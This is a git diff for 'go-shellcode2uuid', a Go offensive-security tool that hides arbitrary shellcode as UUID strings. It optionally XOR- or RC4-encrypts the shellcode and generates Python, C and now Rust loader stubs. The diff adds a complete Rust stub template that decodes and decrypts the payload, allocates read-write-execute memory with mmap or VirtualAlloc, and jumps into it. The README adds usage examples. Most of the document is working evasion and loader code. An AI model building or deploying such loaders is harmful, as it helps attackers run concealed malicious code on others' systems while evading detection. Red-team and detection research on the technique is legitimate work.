diff options
| -rw-r--r-- | README.md | 79 | ||||
| -rw-r--r-- | main.go | 200 | 
2 files changed, 246 insertions, 33 deletions
| @@ -1,13 +1,13 @@  # go-shellcode2uuid -`go-shellcode2uuid` is an offensive security utility that encodes arbitrary binary shellcode into UUID strings, generating C and Python stubs to decode and execute the shellcode at runtime. It supports Linux and Windows platforms, with optional single-byte XOR encoding for obfuscation. This is a golang implementation of the popular technique written in many other programming lanauges with multiple authors. +`go-shellcode2uuid` is an offensive security utility that encodes arbitrary binary shellcode into UUID strings, generating Python, C and Rust stubs to decode and execute the shellcode at runtime. It supports Linux and Windows platforms, with optional single-byte XOR or 16bit random key RC4 encryption/decryption for obfuscation. This is a golang implementation of the popular technique written in many other programming lanauges with multiple authors.  > **WARNING**: This tool is intended for **authorized security assessments only**. Misuse may violate laws or regulations. The author disclaims any responsibility for unlawful use. Always obtain explicit permission before conducting any security tests.  ## Features  - **UUID encoding**: Converts raw shellcode bytes into UUID string literals for easy embedding. -- **Multi-platform stubs**: Generates testing stubs for C (Linux and Windows), and Python. +- **Multi-platform stubs**: Generates testing stubs for Python, C (Linux and Windows), Rust.  - **XOR or RC4 encryption**: Supports single-byte XOR or 16bit RC4 random key encryption/decryption for lightweight obfuscation.  - **Automatic shellcode padding**: Pads shellcode to a multiple of 16 bytes to fit UUID size. @@ -59,14 +59,28 @@ Usage of ./go-shellcode2uuid-linux-amd64:    -rc4          enable rc4 encryption with 16bit random key    -stub string -        stub language to output (c, cwin, py) +        stub language to output (py, c, cwin, rs)    -xor          enable single-byte xor encoding with random key  ```  ## Examples -### Generate a Windows C stub with XOR encoding enabled: + +### Generate a Python stub with RC4 encryption: + +``` +$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py +[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes +[inf] using rc4 key: r24OlLLBQr6Ay8rL +ef4cd858-172a-5494-d0f2-1aec40ea5813 +00ccb780-888c-ea60-0353-85d24303e0a9 +3627567b-6603-5074-4beb-a8c1b23c7211 +c73d284b-b64d-d337-4ec5-3be297937f8f +[inf] stub written to stub.py +``` + +### Generate a Windows C stub with XOR encryption:  ```  $ ./go-shellcode2uuid -file shellcode_win.bin -xor -stub cwin @@ -92,20 +106,57 @@ c9549fd8-3420-1a60-169c-e7fc6919a75b  7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c  [inf] stub written to stub.c -$ x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase +$ head -10 stub.c +// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase +#include <windows.h> +#include <stdio.h> +#include <stdint.h> +#include <stdlib.h> + +#define ORIGINAL_SHELLCODE_LENGTH 276 + +const char* uuid_strings[] = { +    "33874c2b-3f27-0fcf-cfcf-8e9e8e9f9d9e",  ``` -### Generate a Python stub with RC4 encoding: +### Generate a Windows Rust stub with XOR encryption:  ``` -$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py -[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes -[inf] using rc4 key: r24OlLLBQr6Ay8rL -ef4cd858-172a-5494-d0f2-1aec40ea5813 -00ccb780-888c-ea60-0353-85d24303e0a9 -3627567b-6603-5074-4beb-a8c1b23c7211 -c73d284b-b64d-d337-4ec5-3be297937f8f -[inf] stub written to stub.py +go-shellcode2uuid-linux-amd64 -file shellcode_win.bin -xor -stub rs +[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes +[inf] using xor key: 0x92 +6eda1176-627a-5292-9292-d3c3d3c2c0c3 +c4daa340-f7da-19c0-f2da-19c08ada19c0 +b2da19e0-c2da-9d25-d8d8-dfa35bdaa352 +3eaef3ee-90be-b2d3-535b-9fd39353707f +c0d3c3da-19c0-b219-d0ae-da934219121a +929292da-1752-e6f5-da93-42c219da8ad6 +19d2b2db-9342-71c4-da6d-5bd319a61ada +9344dfa3-5bda-a352-3ed3-535b9fd39353 +aa72e763-de91-deb6-9ad7-ab43e74acad6 +19d2b6db-9342-f4d3-199e-dad619d28edb +9342d319-961a-da93-42d3-cad3cacccbc8 +d3cad3cb-d3c8-da11-7eb2-d3c06d72cad3 +cbc8da19-807b-c56d-6d6d-cfda28939292 +92929292-92da-1f1f-9393-9292d328a319 +fd156d47-2972-8fb8-98d3-2834072f0f6d +47da1156-baae-94ee-9812-6972e79729d5 +81e0fdf8-92cb-d31b-486d-47f1f3fef1bc +f7eaf792-9292-9292-9292-929292929292 +[inf] rust stub written to stub/src/main.rs +[inf] stub written to stub/src/main.rs + +$ head -10 stub/src/main.rs +// rustup target add x86_64-pc-windows-gnu +// cargo build --release --target x86_64-pc-windows-gnu +// +// rustup target add x86_64-unknown-linux-gnu +// cargo build --release --target x86_64-unknown-linux-gnu +#[cfg(windows)] +use winapi::ctypes::c_void; +#[cfg(unix)] +use std::ffi::c_void; +use std::ptr;  ```  - The tool prints the generated UUID strings to stdout and writes the stub source file (`stub.c` or `stub.py`). @@ -6,6 +6,7 @@ import (  	"flag"  	"fmt"  	"os" +	"path/filepath"  	"text/template"  ) @@ -294,11 +295,137 @@ int main() {  }  ` +const rustStub = `// rustup target add x86_64-pc-windows-gnu +// cargo build --release --target x86_64-pc-windows-gnu +// +// rustup target add x86_64-unknown-linux-gnu +// cargo build --release --target x86_64-unknown-linux-gnu +#[cfg(windows)] +use winapi::ctypes::c_void; +#[cfg(unix)] +use std::ffi::c_void; +use std::ptr; + +#[cfg(unix)] +use libc::{mmap, MAP_ANON, MAP_PRIVATE, PROT_EXEC, PROT_READ, PROT_WRITE}; + +#[cfg(windows)] +extern crate winapi; + +use uuid::Uuid; + +const ORIGINAL_SHELLCODE_LENGTH: usize = {{ .OrigLen }}; + +const UUIDS: [&str; {{ len .UUIDs }}] = [ +{{- range .UUIDs }} +    "{{ . }}", +{{- end }} +]; + +fn parse_uuids() -> Vec<u8> { +    println!("decoding uuids to shellcode"); +    let mut buf = Vec::with_capacity(UUIDS.len() * 16); +    for s in UUIDS.iter() { +        let u = Uuid::parse_str(s).unwrap(); +        buf.extend_from_slice(u.as_bytes()); +    } +    buf +} + +{{- if .XORKey }} +fn xor_decrypt(data: &mut [u8], key: u8) { +    println!("xor decrypting shellcode"); +    for b in data.iter_mut() { +        *b ^= key; +    } +} +{{- end }} + +{{- if .RC4Key }} +fn rc4_crypt(data: &mut [u8], key: &str) { +    println!("rc4 decrypting shellcode"); +    let mut s: Vec<u8> = (0..=255).collect(); +    let k: Vec<u8> = key.bytes().collect(); +    let mut j = 0; + +    for i in 0..256 { +        j = (j + s[i] as usize + k[i % k.len()] as usize) % 256; +        s.swap(i, j); +    } + +    let mut i = 0; +    j = 0; +    for byte in data.iter_mut() { +        i = (i + 1) % 256; +        j = (j + s[i] as usize) % 256; +        s.swap(i, j); +        let idx = (s[i] as usize + s[j] as usize) % 256; +        *byte ^= s[idx]; +    } +} +{{- end }} + +fn main() { +    let mut shellcode = parse_uuids(); + +    {{- if .XORKey }} +    xor_decrypt(&mut shellcode, {{ .XORKey }}); +    {{- end }} +    {{- if .RC4Key }} +    rc4_crypt(&mut shellcode, "{{ .RC4Key }}"); +    {{- end }} + +    println!("decoded shellcode length: {}", ORIGINAL_SHELLCODE_LENGTH); +    shellcode.truncate(ORIGINAL_SHELLCODE_LENGTH); + +    println!("allocating executable memory"); + +    unsafe { +        let ptr: *mut c_void; + +        #[cfg(unix)] +        { +            ptr = mmap( +                ptr::null_mut(), +                shellcode.len(), +                PROT_READ | PROT_WRITE | PROT_EXEC, +                MAP_PRIVATE | MAP_ANON, +                -1, +                0, +            ); +        } + +        #[cfg(windows)] +        { +            use winapi::um::memoryapi::VirtualAlloc; +            use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}; + +            ptr = VirtualAlloc( +                ptr::null_mut(), +                shellcode.len(), +                MEM_COMMIT | MEM_RESERVE, +                PAGE_EXECUTE_READWRITE, +            ); +        } + +        if ptr.is_null() { +            eprintln!("memory allocation failed"); +            return; +        } + +        println!("executing shellcode"); +        ptr::copy_nonoverlapping(shellcode.as_ptr(), ptr as *mut u8, shellcode.len()); +        let exec_fn: extern "C" fn() = std::mem::transmute(ptr); +        exec_fn(); +    } +} +` +  func main() {  	filePath := flag.String("file", "", "path to binary shellcode file") -	stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)") +	stubLang := flag.String("stub", "", "stub language to output (py, c, cwin, rs)")  	xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key") -        rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key") +	rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")  	flag.Parse()  	if *filePath == "" { @@ -319,10 +446,10 @@ func main() {  		data = append(data, make([]byte, pad)...)  	} -        if *xorFlag && *rc4Flag { -                fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") -                os.Exit(1) -        } +	if *xorFlag && *rc4Flag { +		fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n") +		os.Exit(1) +	}  	var rc4Key []byte  	var xorKey byte = 0 @@ -341,18 +468,18 @@ func main() {  			data[i] ^= xorKey  		}  	} else if *rc4Flag { -			var err error -			rc4Key, err = generateRC4Key() -			if err != nil { -					fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) -					os.Exit(1) -			} -			fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) -			data, err = rc4Encrypt(data, rc4Key) -			if err != nil { -					fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) -					os.Exit(1) -			} +		var err error +		rc4Key, err = generateRC4Key() +		if err != nil { +			fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err) +			os.Exit(1) +		} +		fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key)) +		data, err = rc4Encrypt(data, rc4Key) +		if err != nil { +			fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err) +			os.Exit(1) +		}  	}  	var uuids []string @@ -377,6 +504,42 @@ func main() {  		case "cwin":  			stubContent = cWinStub  			fileName = "stub.c" +		case "rs": +			stubContent = rustStub +			baseDir := "stub" +			srcDir := filepath.Join(baseDir, "src") +			err = os.MkdirAll(srcDir, 0755) +			if err != nil { +				fmt.Fprintf(os.Stderr, "[err] failed to create directories: %v\n", err) +				os.Exit(1) +			} + +			cargoToml := `[package] +name = "stub" +version = "0.0.1" +edition = "2024" + +[dependencies] +uuid = "1.3" +libc = "0.2" + +[target.'cfg(windows)'.dependencies] +winapi = { version = "0.3", features = ["memoryapi", "winnt"] } +` +			err = os.WriteFile(filepath.Join(baseDir, "Cargo.toml"), []byte(cargoToml), 0644) +			if err != nil { +				fmt.Fprintf(os.Stderr, "[err] failed to write Cargo.toml: %v\n", err) +				os.Exit(1) +			} + +			fileName = filepath.Join(srcDir, "main.rs") +			err = renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName) +			if err != nil { +				fmt.Fprintf(os.Stderr, "[err] failed to write stub.rs: %v\n", err) +				os.Exit(1) +			} + +			fmt.Printf("[inf] rust stub written to %s\n", fileName)  		default:  			fmt.Fprintf(os.Stderr, "[err] unsupported stub language\n")  			os.Exit(1) @@ -462,4 +625,3 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by  		"RC4Key":  string(rc4Key),  	})  } - |